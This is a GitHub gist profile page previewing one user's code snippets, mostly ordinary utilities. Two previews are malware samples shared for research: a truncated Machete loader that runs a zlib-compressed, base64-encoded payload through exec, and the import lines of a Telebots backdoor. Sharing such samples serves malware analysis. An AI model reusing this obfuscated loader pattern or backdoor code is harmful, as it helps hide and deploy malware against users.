Skip to content

Instantly share code, notes, and snippets.

View Spacecow99's full-sized avatar
🐦
I saw a birb

Jacques Pharand Spacecow99

🐦
I saw a birb
View GitHub Profile
@Spacecow99
Spacecow99 / Machete malware
Created December 19, 2019 16:12 — forked from JohnLaTwC/Machete malware
Machete malware
## uploaded by @JohnLaTwc
## See paper by ESET @ https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf
## b67256906d976aafb6071d23d1b3f59a1696f26b25ff4713b9342d41e656dfba
import zlib, base64
exec(zlib.decompress(base64.b64decode('eJy9WOtvm0gQ/+6/AlmywI8lgG1MLPEhau6BlB7V5U7Vqa4sbK/tbTGLgCRu//qbWV67vjQNlXoksbPs7Mzsb+e57JTyrNCOUX6M2abHyiHP6//y40PB4nr0xJKpE6WsHhfsRHv7jJ+0XVRQHGnVTD3usb3mzog7WzLbZgHD314YWtyvKcyHYpvwJ2No5kW2xzeGPviHDE5ksCOD39eDt+vBvTnY68MPSzL9iAw9m3j2EjjZgT0GZvAzYPgM8BXhHF6ElmVxJJ6RGZAGgS2EB/YVqsBwCH92r8i+LHsat0IOP7DI57l5oAVNHg39Lnxzc3fz7t3tzV83+rCnBbAF32hpx/3V6i3bZjzn+2K1us14uuHn1epNBnCm0W616sMqUEZmKvEL+cvSWInZK6VGj1ERZetttD3SUjLu3iMzbwmA8KswBGBCfhWUTIMrBARwwWGPnrc0LQCJNMpzsXI6I1M4NQFycAVyuVDAAkVM+OQI8TjkFqINIx6aoDCwshkJAsHBtiwCf3jyuAmE3GYm0JOaK34N2uMilYq9Hd1r8G0k0RBUQmXxsG1EK+UpTQy9iPLPMcsL7epRH5oZjXalAbEUv9OYFYa+ShDGPc8AaNAQHo0lWhYlB2rEwKThO0QpqHESIUXz/kO97iPOaxktHrJnp3vV3IePYuOOQxxnqWJTQjKzycz+LyCjIBhI/gGE63USneh67fv6en2KWLJe60vBYjEjC7DoCusRMi5tGCc9h3gguXQJnNK4UAP15L4O2GWRS
@Spacecow99
Spacecow99 / Loader.py
Last active January 21, 2020 20:31
Telebots' Python Telebot Backdoor
# -*- coding: utf-8 -*-
from subprocess import Popen, PIPE
from os import environ, path, system, sep, listdir, remove
from threading import Thread
from time import sleep
from random import sample, getrandbits, randrange
from string import ascii_letters, digits
from platform import platform
import json
import ssl
#!/usr/bin/env python3
#
# Replace the keys of a dict with encoded values.
#
# >>> import hashlib, json
# >>> encode_s = lambda s : hashlib.md5(s.encode('UTF-8')).hexdigest()
# >>> test_d = {'key1': 1, 'key2': 2, 'key3': {'key4': 4}}
# >>> d = process_dict(test_d, encode_s)
# >>> print(json.dumps(d, sort_keys=True, indent=4))
# {
@Spacecow99
Spacecow99 / lua_map.c
Created November 30, 2015 05:24 — forked from randrews/lua_map.c
Example of embedding Lua in C
#include <lua.h>
#include <lauxlib.h>
#include <lualib.h>
#include <stdlib.h>
int map_create(lua_State *lua);
int map_slice(lua_State *lua);
int main(int argc, char **argv){
lua_State *lua = lua_open();
//woah man...
void Void(void){
Void();
}
@Spacecow99
Spacecow99 / tojson.py
Last active August 29, 2015 14:21
Converts text file to json file
#!/usr/bin/env python
#
# ToJSON - tojson.py - JSON conversion tool
#
# Takes a text file with content format:
# #Comment
# <Key> <Value>...
# Converts it to JSON format and prints to
# stdout so user can redirect output
@Spacecow99
Spacecow99 / ApplePicker.py
Last active August 29, 2015 14:16
Who needs to count sheep to fall asleep when we have the power of OOP to count for us!
#!/usr/bin/env python
import fractions
import copy
class Apple(object):
"""A simple apple class"""
def __init__(self, color, name, volume):
@Spacecow99
Spacecow99 / nineteen.sh
Last active October 2, 2015 18:15 — forked from bhundven/nineteen.sh
#!/bin/bash
#
# NINETEEN.SH
# This script allows you to install/update Enlightenment 19 git version on
# Ubuntu 14.04 LTS or Debian wheezy/sid, or remove E19 git from your system.
# Originally from: http://ubuntuforums.org/showthread.php?t=2203190
# By: Philippe J. Guillaumie (batden AT sfr DOT fr).
# Additional updates by: Bryan Hundven (bryanhundven AT gmail DOT com).
#
# Tip: